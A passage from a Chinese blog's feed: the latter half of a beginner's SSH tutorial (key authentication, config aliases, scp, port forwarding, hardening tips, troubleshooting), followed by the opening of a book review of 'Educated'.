class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">交互流程：<br>┌─────────────────────────────────────────────────────┐<br>│ PS C:\Users\Admin&gt; ssh-keygen -t ed25519            │<br>│                   -C "my-pc@example.com"            │<br>│                                                     │<br>│ Generating public/private ed25519 key pair.         │<br>│                                                     │<br>│ Enter file in which to save the key                 │<br>│ (C:\Users\Admin\.ssh\id_ed25519): [直接按回车]      │<br>│                                                     │<br>│ Enter passphrase (empty for no passphrase): [回车]  │<br>│                                                     │<br>│ Enter same passphrase again: [回车]                 │<br>│                                                     │<br>│ Your identification has been saved in               │<br>│ C:\Users\Admin\.ssh\id_ed25519                      │<br>│ Your public key has been saved in                   │<br>│ C:\Users\Admin\.ssh\id_ed25519.pub                  │<br>│                                                     │<br>│ The key fingerprint is:                             │<br>│ SHA256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx        │<br>└─────────────────────────────────────────────────────┘<br></code></pre></td></tr></tbody></table></figure><blockquote><p>💡 如果不想设置密码短语（passphrase），直接按三次回车即可。</p></blockquote><h3><span id="52-%E5%AF%86%E9%92%A5%E6%96%87%E4%BB%B6%E8%AF%B4%E6%98%8E">5.2 密钥文件说明</span></h3><p>生成后会在 <code>~/.ssh/</code> 目录下产生两个文件：</p><table><thead><tr><th>文件</th><th>作用</th><th>权限要求</th></tr></thead><tbody><tr><td><code>id_ed25519</code></td><td>🔑 <strong>私钥</strong> — 保存在本地，绝不分享</td><td><code>600</code> (仅所有者可读写)</td></tr><tr><td><code>id_ed25519.pub</code></td><td>🔓 <strong>公钥</strong> — 上传到服务器</td><td><code>644</code> (所有者读写，他人只读)</td></tr></tbody></table><h3><span id="53-%E4%B8%8A%E4%BC%A0%E5%85%AC%E9%92%A5%E5%88%B0%E6%9C%8D%E5%8A%A1%E5%99%A8">5.3 上传公钥到服务器</span></h3><h4><span id="%E6%96%B9%E6%B3%95%E4%B8%80%E4%BD%BF%E7%94%A8-ssh-copy-id%E6%8E%A8%E8%8D%90">方法一：使用 ssh-copy-id（推荐）</span></h4><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">ssh-copy-id root@192.168.1.100<br></code></pre></td></tr></tbody></table></figure><blockquote><p>⚠️ Windows 旧版可能没有 <code>ssh-copy-id</code> 命令，可用方法二。</p></blockquote><h4><span id="%E6%96%B9%E6%B3%95%E4%BA%8C%E6%89%8B%E5%8A%A8%E5%A4%8D%E5%88%B6">方法二：手动复制</span></h4><p><strong>第一步：查看公钥内容</strong></p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># Windows PowerShell</span><br>Get-Content ~\.ssh\id_ed25519.pub<br><br><span class="hljs-comment"># macOS / Linux</span><br><span class="hljs-built_in">cat</span> ~/.ssh/id_ed25519.pub<br></code></pre></td></tr></tbody></table></figure><p>输出类似：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIxxxxxxxxxx my-pc@example.com<br></code></pre></td></tr></tbody></table></figure><p><strong>第二步：将公钥添加到服务器</strong></p><p>先用密码登录服务器，然后执行：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">mkdir</span> -p ~/.ssh<br><span class="hljs-built_in">echo</span> <span class="hljs-string">"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... 你的注释"</span> &gt;&gt; ~/.ssh/authorized_keys<br><span class="hljs-built_in">chmod</span> 700 ~/.ssh<br><span class="hljs-built_in">chmod</span> 600 ~/.ssh/authorized_keys<br></code></pre></td></tr></tbody></table></figure><blockquote><p>🔒 <strong>权限设置非常重要</strong>：权限过宽会导致 SSH 拒绝使用密钥！</p></blockquote><h3><span id="54-%E4%BD%BF%E7%94%A8%E5%AF%86%E9%92%A5%E7%99%BB%E5%BD%95">5.4 使用密钥登录</span></h3><p>配置好之后，直接连接即可<strong>免密登录</strong>：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">ssh root@192.168.1.100<br></code></pre></td></tr></tbody></table></figure><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">sequenceDiagram<br>    participant PC as 💻 本地&lt;br/&gt;持有私钥<br>    participant Server as 🖥️ 服务器&lt;br/&gt;存有公钥<br>    <br>    PC-&gt;&gt;Server: ① ssh root@192.168.1.100<br>    Server--&gt;&gt;PC: ② 发送随机挑战码<br>    PC-&gt;&gt;PC: ③ 用私钥签名挑战码<br>    PC-&gt;&gt;Server: ④ 返回签名结果<br>    Server-&gt;&gt;Server: ⑤ 用公钥验证签名<br>    Server--&gt;&gt;PC: ⑥ 验证通过，直接登录 ✅<br>    <br>    Note over PC,Server: 🎉 无需输入密码！<br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="6-ssh-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6">6. SSH 配置文件</span></h2><p>频繁连接多个服务器时，每次都输入完整命令很麻烦。SSH 配置文件 <code>~/.ssh/config</code> 可以<strong>用别名代替长命令</strong>。</p><h3><span id="61-%E5%88%9B%E5%BB%BA%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6">6.1 创建配置文件</span></h3><p>在 <code>~/.ssh/</code> 目录下创建 <code>config</code> 文件：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># Windows PowerShell</span><br>New-Item -Path ~\.ssh\config -ItemType File -Force<br><br><span class="hljs-comment"># macOS / Linux</span><br><span class="hljs-built_in">touch</span> ~/.ssh/config<br></code></pre></td></tr></tbody></table></figure><h3><span id="62-%E9%85%8D%E7%BD%AE%E7%A4%BA%E4%BE%8B">6.2 配置示例</span></h3><p>编辑 <code>~/.ssh/config</code>，填入以下内容：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs plaintext"># 个人云服务器<br>Host my-server<br>    HostName 192.168.1.100<br>    User root<br>    Port 22<br>    IdentityFile ~/.ssh/id_ed25519<br><br># 公司跳板机<br>Host jumpbox<br>    HostName 10.0.0.50<br>    User admin<br>    Port 2222<br>    IdentityFile ~/.ssh/company_key<br><br># GitHub（克隆代码用）<br>Host github.com<br>    HostName github.com<br>    User git<br>    IdentityFile ~/.ssh/id_ed25519<br></code></pre></td></tr></tbody></table></figure><h3><span id="63-%E9%85%8D%E7%BD%AE%E9%A1%B9%E8%AF%B4%E6%98%8E">6.3 配置项说明</span></h3><table><thead><tr><th>配置项</th><th>说明</th><th>示例</th></tr></thead><tbody><tr><td><code>Host</code></td><td><strong>别名</strong>，之后用这个名连接</td><td><code>my-server</code></td></tr><tr><td><code>HostName</code></td><td>实际 IP 或域名</td><td><code>192.168.1.100</code></td></tr><tr><td><code>User</code></td><td>登录用户名</td><td><code>root</code></td></tr><tr><td><code>Port</code></td><td>SSH 端口</td><td><code>22</code></td></tr><tr><td><code>IdentityFile</code></td><td>私钥路径</td><td><code>~/.ssh/id_ed25519</code></td></tr></tbody></table><h3><span id="64-%E4%BD%BF%E7%94%A8%E5%88%AB%E5%90%8D%E8%BF%9E%E6%8E%A5">6.4 使用别名连接</span></h3><p>配置完成后，直接用别名连接，超级简洁：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 原来</span><br>ssh root@192.168.1.100 -p 22 -i ~/.ssh/id_ed25519<br><br><span class="hljs-comment"># 现在</span><br>ssh my-server<br></code></pre></td></tr></tbody></table></figure><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">flowchart LR<br>    A["✏️ 输入别名&lt;br/&gt;ssh my-server"] --&gt; B["📋 读取配置&lt;br/&gt;~/.ssh/config"]<br>    B --&gt; C["🔍 解析为&lt;br/&gt;ssh root@192.168.1.100"]<br>    C --&gt; D["🔗 建立连接"]<br>    <br>    style A fill:#9B59B6,color:#fff<br>    style B fill:#3498DB,color:#fff<br>    style C fill:#2ECC71,color:#fff<br>    style D fill:#E67E22,color:#fff<br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="7-%E5%B8%B8%E7%94%A8%E5%9C%BA%E6%99%AF">7. 常用场景</span></h2><h3><span id="71-%E6%96%87%E4%BB%B6%E4%BC%A0%E8%BE%93scp">7.1 文件传输（SCP）</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 上传文件到服务器</span><br>scp ./myfile.txt root@192.168.1.100:/home/user/<br><br><span class="hljs-comment"># 从服务器下载文件</span><br>scp root@192.168.1.100:/home/user/myfile.txt ./<br><br><span class="hljs-comment"># 上传整个目录</span><br>scp -r ./myfolder root@192.168.1.100:/home/user/<br></code></pre></td></tr></tbody></table></figure><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">flowchart LR<br>    A["📁 本地文件"] --&gt;|"📤 scp 上传"| B["📁 服务器"]<br>    B --&gt;|"📥 scp 下载"| A<br>    <br>    style A fill:#3498DB,color:#fff<br>    style B fill:#E67E22,color:#fff<br></code></pre></td></tr></tbody></table></figure><h3><span id="72-%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91">7.2 端口转发</span></h3><p>将服务器的端口映射到本地：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 将服务器 3306 端口映射到本机 3306</span><br>ssh -L 3306:localhost:3306 root@192.168.1.100<br><br><span class="hljs-comment"># 将服务器 8080 端口映射到本机 9000</span><br>ssh -L 9000:localhost:8080 my-server<br></code></pre></td></tr></tbody></table></figure><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">flowchart LR<br>    subgraph 本地<br>        A["🌐 浏览器&lt;br/&gt;访问 localhost:9000"]<br>    end<br>    subgraph 隧道<br>        B["🔒 SSH 加密通道"]<br>    end<br>    subgraph 远程<br>        C["🖥️ 服务器服务&lt;br/&gt;运行在 8080 端口"]<br>    end<br>    <br>    A &lt;--&gt; B &lt;--&gt; C<br>    <br>    style A fill:#9B59B6,color:#fff<br>    style B fill:#E74C3C,color:#fff<br>    style C fill:#2ECC71,color:#fff<br></code></pre></td></tr></tbody></table></figure><p><strong>典型用例</strong>：</p><ul><li>远程访问服务器的数据库（MySQL: 3306, Redis: 6379）</li><li>访问服务器上运行的 Web 服务</li><li>内网穿透，访问公司内部系统</li></ul><h3><span id="73-%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C%E5%91%BD%E4%BB%A4">7.3 远程执行命令</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 不进入交互终端，直接执行命令并返回结果</span><br>ssh root@192.168.1.100 <span class="hljs-string">"ls -la /var/log"</span><br><br><span class="hljs-comment"># 执行多条命令</span><br>ssh root@192.168.1.100 <span class="hljs-string">"cd /app &amp;&amp; git pull &amp;&amp; npm run build"</span><br><br><span class="hljs-comment"># 执行需要 sudo 的命令</span><br>ssh root@192.168.1.100 <span class="hljs-string">"sudo systemctl restart nginx"</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="74-vs-code-%E8%BF%9C%E7%A8%8B%E5%BC%80%E5%8F%91">7.4 VS Code 远程开发</span></h3><p>VS Code 的 <strong>Remote - SSH</strong> 插件让你可以直接在远程服务器上编辑代码：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">┌──────────────────────────────────────────────────┐<br>│  VS Code 操作步骤：                               │<br>│                                                  │<br>│  1. 安装插件: Remote - SSH                        │<br>│     (ms-vscode-remote.remote-ssh)                │<br>│                                                  │<br>│  2. F1 → "Remote-SSH: Connect to Host..."        │<br>│                                                  │<br>│  3. 输入: root@192.168.1.100                     │<br>│                                                  │<br>│  4. 选择服务器上的项目目录                        │<br>│                                                  │<br>│  5. 开始像本地一样开发！                          │<br>└──────────────────────────────────────────────────┘<br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="8-%E5%AE%89%E5%85%A8%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5">8. 安全最佳实践</span></h2><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">mindmap<br>  root((SSH 安全))<br>    服务端配置<br>      禁用 root 密码登录<br>      修改默认 22 端口<br>      使用密钥而非密码<br>      配置防火墙白名单<br>      Fail2Ban 防暴力破解<br>    密钥管理<br>      使用 Ed25519 密钥<br>      设置密钥密码短语<br>      定期轮换密钥<br>      不同用途用不同密钥<br>    客户端安全<br>      验证服务器指纹<br>      使用 SSH Config<br>      不在公共电脑保存私钥<br>      启用 known_hosts 哈希<br></code></pre></td></tr></tbody></table></figure><h3><span id="81-%E6%A0%B8%E5%BF%83%E5%BB%BA%E8%AE%AE">8.1 核心建议</span></h3><table><thead><tr><th>建议</th><th>说明</th><th>重要性</th></tr></thead><tbody><tr><td>🔑 用密钥不用密码</td><td>密钥长度 256 位以上，暴力破解几乎不可能</td><td>⭐⭐⭐⭐⭐</td></tr><tr><td>🚫 禁用 root 密码登录</td><td>修改 <code>/etc/ssh/sshd_config</code>: <code>PasswordAuthentication no</code></td><td>⭐⭐⭐⭐⭐</td></tr><tr><td>🔢 修改默认端口</td><td>将 22 改为其他端口，减少自动扫描攻击</td><td>⭐⭐⭐⭐</td></tr><tr><td>🛡️ 安装 Fail2Ban</td><td>自动封禁多次登录失败的 IP</td><td>⭐⭐⭐⭐</td></tr><tr><td>🔐 设置密钥密码短语</td><td>即使私钥泄露，攻击者也无法直接使用</td><td>⭐⭐⭐</td></tr></tbody></table><hr><h2><span id="9-%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98%E6%8E%92%E6%9F%A5">9. 常见问题排查</span></h2><h3><span id="%E9%97%AE%E9%A2%98-1connection-refused%E8%BF%9E%E6%8E%A5%E8%A2%AB%E6%8B%92%E7%BB%9D">问题 1：Connection refused（连接被拒绝）</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">ssh: connect to host 192.168.1.100 port 22: Connection refused<br></code></pre></td></tr></tbody></table></figure><p><strong>排查清单</strong>：</p><ul><li><input disabled="" type="checkbox"> 服务器 SSH 服务是否运行？ → <code>systemctl status sshd</code></li><li><input disabled="" type="checkbox"> 端口号是否正确？默认 22，可能已修改</li><li><input disabled="" type="checkbox"> 防火墙是否开放端口？ → <code>sudo ufw status</code></li><li><input disabled="" type="checkbox"> 云服务器安全组是否放行？</li></ul><h3><span id="%E9%97%AE%E9%A2%98-2permission-denied%E6%9D%83%E9%99%90%E4%B8%8D%E8%B6%B3">问题 2：Permission denied（权限不足）</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">root@192.168.1.100: Permission denied (publickey,password)<br></code></pre></td></tr></tbody></table></figure><p><strong>排查清单</strong>：</p><ul><li><input disabled="" type="checkbox"> 密码是否正确？</li><li><input disabled="" type="checkbox"> 密钥权限是否正确？ → 私钥必须 <code>600</code>，<code>~/.ssh</code> 必须 <code>700</code></li><li><input disabled="" type="checkbox"> 公钥是否正确添加到 <code>~/.ssh/authorized_keys</code>？</li><li><input disabled="" type="checkbox"> 服务器是否允许密钥登录？ → 检查 <code>/etc/ssh/sshd_config</code> 中的 <code>PubkeyAuthentication yes</code></li></ul><h3><span id="%E9%97%AE%E9%A2%98-3warning-remote-host-identification-has-changed">问题 3：WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br>@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!<br>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br></code></pre></td></tr></tbody></table></figure><p><strong>原因</strong>：服务器指纹变了（可能重装了系统）。</p><p><strong>解决</strong>：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 删除旧指纹记录</span><br>ssh-keygen -R 192.168.1.100<br><br><span class="hljs-comment"># 然后重新连接</span><br>ssh root@192.168.1.100<br></code></pre></td></tr></tbody></table></figure><blockquote><p>⚠️ 先确认是正常原因（如服务器重装），否则可能是<strong>中间人攻击</strong>！</p></blockquote><h3><span id="%E9%97%AE%E9%A2%98-4connection-timed-out%E8%BF%9E%E6%8E%A5%E8%B6%85%E6%97%B6">问题 4：Connection timed out（连接超时）</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">ssh: connect to host 192.168.1.100 port 22: Connection timed out<br></code></pre></td></tr></tbody></table></figure><p><strong>排查清单</strong>：</p><ul><li><input disabled="" type="checkbox"> 服务器是否在线？（ping 一下试试）</li><li><input disabled="" type="checkbox"> IP 地址是否正确？</li><li><input disabled="" type="checkbox"> 是否在同一个网络？跨网络可能需要 VPN</li><li><input disabled="" type="checkbox"> 云服务器是否有公网 IP？安全组是否放行？</li></ul><hr><h2><span id="%F0%9F%93%8B-%E9%80%9F%E6%9F%A5%E5%8D%A1%E7%89%87">📋 速查卡片</span></h2><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">flowchart TD<br>    Start["🚀 开始连接服务器"] --&gt; Q1{"是首次使用&lt;br/&gt;或新服务器？"}<br>    <br>    Q1 --&gt;|是| GenKey["🔑 生成密钥&lt;br/&gt;ssh-keygen -t ed25519"]<br>    GenKey --&gt; CopyKey["📋 复制公钥&lt;br/&gt;ssh-copy-id user@host"]<br>    CopyKey --&gt; Connect["🔗 ssh user@host"]<br>    <br>    Q1 --&gt;|否| Q2{"已配置密钥？"}<br>    Q2 --&gt;|是| Connect<br>    Q2 --&gt;|否| Password["🔐 密码登录&lt;br/&gt;ssh user@host"]<br>    <br>    Connect --&gt; Done["✅ 连接成功！"]<br>    Password --&gt; Done<br>    <br>    style Start fill:#2ECC71,color:#fff<br>    style Done fill:#2ECC71,color:#fff<br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="%F0%9F%93%9A-%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E6%B1%87%E6%80%BB">📚 常用命令汇总</span></h2><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># ===== 基础连接 =====</span><br>ssh user@host                    <span class="hljs-comment"># 默认端口 22 连接</span><br>ssh user@host -p 2222           <span class="hljs-comment"># 指定端口连接</span><br>ssh -i ~/.ssh/key user@host     <span class="hljs-comment"># 指定私钥连接</span><br><br><span class="hljs-comment"># ===== 密钥管理 =====</span><br>ssh-keygen -t ed25519            <span class="hljs-comment"># 生成 Ed25519 密钥</span><br>ssh-copy-id user@host            <span class="hljs-comment"># 上传公钥到服务器</span><br>ssh-keygen -R host               <span class="hljs-comment"># 删除 known_hosts 中的记录</span><br><br><span class="hljs-comment"># ===== 文件传输 =====</span><br>scp file user@host:/path/        <span class="hljs-comment"># 上传文件</span><br>scp user@host:/path/file ./      <span class="hljs-comment"># 下载文件</span><br>scp -r folder user@host:/path/   <span class="hljs-comment"># 上传目录</span><br><br><span class="hljs-comment"># ===== 端口转发 =====</span><br>ssh -L 8080:localhost:80 host    <span class="hljs-comment"># 本地端口转发</span><br>ssh -R 8080:localhost:80 host    <span class="hljs-comment"># 远程端口转发</span><br><br><span class="hljs-comment"># ===== 调试 =====</span><br>ssh -v user@host                 <span class="hljs-comment"># 详细调试信息</span><br>ssh -vvv user@host               <span class="hljs-comment"># 最详细调试信息</span><br></code></pre></td></tr></tbody></table></figure><hr><blockquote><p>🎉 <strong>恭喜！</strong> 你已经掌握了 SSH 连接服务器的全部基础知识。<br>从密码登录到密钥认证，从基础操作到安全实践，现在你可以自信地管理远程服务器了！</p></blockquote><hr></body></html>]]>
    </content>
    <id>https://ttquk.github.io/2026/06/27/ssh%E5%AE%9E%E6%93%8D/</id>
    <link href="https://ttquk.github.io/2026/06/27/ssh%E5%AE%9E%E6%93%8D/"/>
    <published>2026-06-27T11:02:00.000Z</published>
    <summary>从零开始的 SSH 连接服务器完整教程，涵盖密钥生成、端口配置、安全加固和常见问题排查，适用于 Linux 服务器管理。</summary>
    <title>🔐SSH连接服务器完整教程</title>
    <updated>2026-07-12T03:17:46.626Z</updated>
  </entry>
  <entry>
    <author>
      <name>TT清沫uk</name>
    </author>
    <category term="读书笔记" scheme="https://ttquk.github.io/categories/%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/"/>
    <category term="读书" scheme="https://ttquk.github.io/tags/%E8%AF%BB%E4%B9%A6/"/>
    <category term="成长" scheme="https://ttquk.github.io/tags/%E6%88%90%E9%95%BF/"/>
    <category term="教育" scheme="https://ttquk.github.io/tags/%E6%95%99%E8%82%B2/"/>
    <content>
      <![CDATA[<html><head></head><body><h2><span id="%E6%AD%A3%E9%A2%98%E5%9C%A8%E5%B1%B1%E7%9A%84%E5%B0%BD%E5%A4%B4%E6%88%91%E5%AD%A6%E4%BC%9A%E4%BA%86%E9%A3%9E">正题：<strong>在山的尽头，我学会了飞</strong></span></h2><p><strong>副题：——读《你当像鸟飞往你的山》的觉醒与成长</strong></p><hr><p>《你当像鸟飞往你的山》是一本以真实经历为蓝本的自传体作品，它没有宏大的叙事，也没有华丽的辞藻，却用最朴素的语言，讲述了一个关于自我觉醒、教育力量与精神成长的深刻故事。作者塔拉·韦斯特弗，用她的生命轨迹告诉我们：真正的自由，不是出生就拥有，而是在不断学习、不断质疑、不断突破中获得的。</p><hr><h3><span id="%E4%B8%80%E5%B1%B1%E7%9A%84%E8%B1%A1%E5%BE%81%E5%8E%9F%E7%94%9F%E7%8E%AF%E5%A2%83%E4%B8%AD%E7%9A%84%E5%9B%B0%E9%A1%BF%E4%B8%8E%E6%9D%9F%E7%BC%9A">一、山的象征：原生环境中的困顿与束缚</span></h3><p>书名“你当像鸟飞往你的山”本身就是一个充满隐喻的表达。塔拉的“山”不仅仅是地理上的山区，更是一种象征：它代表了她成长过程中所处的封闭、极端与局限的环境。在那里，没有任何外界信息可以进入，没有自由思考的空间，甚至连基本的教育和医疗都缺失。</p><p>她生活在“爱达荷州的山”之中，却被家庭的偏执、迷信和专制所囚禁。父亲是迷信的极端信徒，母亲则像一种情绪的容器，用爱与恐惧交织的方式把她绑在家族的信仰里。于是，塔拉的“山”成为了一座思想的囚笼。</p><p>然而，她最终学会“飞”，那是一种沉重而坚定的飞翔。她不怕跌落、不怕孤独，甚至愿意背负别人的误解与批判。这种“飞”不是为了逃离现实，而是为了找到一种更真实、更自由的生活方式。</p><hr><h3><span id="%E4%BA%8C%E6%95%99%E8%82%B2%E7%9A%84%E8%A7%89%E9%86%92%E7%9F%A5%E8%AF%86%E4%BD%9C%E4%B8%BA%E8%A7%A3%E6%94%BE%E7%9A%84%E5%B7%A5%E5%85%B7">二、教育的觉醒：知识作为解放的工具</span></h3><p>塔拉的转变始于教育。虽然她从未上过学校，但在她的人生关键时刻，却因为“教育”而彻底改变了命运的轨迹。</p><p>在哈佛大学和剑桥大学的课堂上，她第一次看到世界是如此广阔、复杂、多面。她开始怀疑父亲的教导，开始质疑自己的信仰，开始从“我爸爸说的”走向“我所学到的”。她不仅是在学习历史、科学或文学，更是在学习如何思考、如何判断、如何辨别真假。</p><p>教育的意义，在于它给予我们<strong>打开世界的眼界</strong>和<strong>思考自我内心的能力</strong>。塔拉的故事提醒我们：一个人的成长，往往不只是知识的积累，更是思维方式的转变。她告诉我们，教育是一种选择，也是一种勇气。</p><hr><h3><span id="%E4%B8%89%E5%AE%B6%E5%BA%AD%E7%9A%84%E7%88%B1%E4%B8%8E%E6%9D%9F%E7%BC%9A%E5%9C%A8%E7%9F%9B%E7%9B%BE%E4%B8%AD%E5%AF%BB%E6%89%BE%E7%9C%9F%E5%AE%9E">三、家庭的爱与束缚：在矛盾中寻找真实</span></h3><p>塔拉的故事也不只是对教育的赞美，更是一场深刻的家庭与自我之间的拉锯战。她的家庭中有严厉的父爱，也有沉重的桎梏；有信念的支撑，也有偏见的阴影。她曾经被迫与父亲的观点一致，甚至不敢质疑亲人，但她最终选择相信自己的眼睛，相信理性和知识。</p><p>她并没有完全否定家庭的爱，只是在理解了真相之后，不再盲目遵从。这种清醒与温和的处理方式，既是一种成长，也是一种对家庭的尊重。爱并不意味着接受一切，它更应该是一种<strong>理解与引导</strong>，而不是一种<strong>压迫与控制</strong>。</p><hr><h3><span 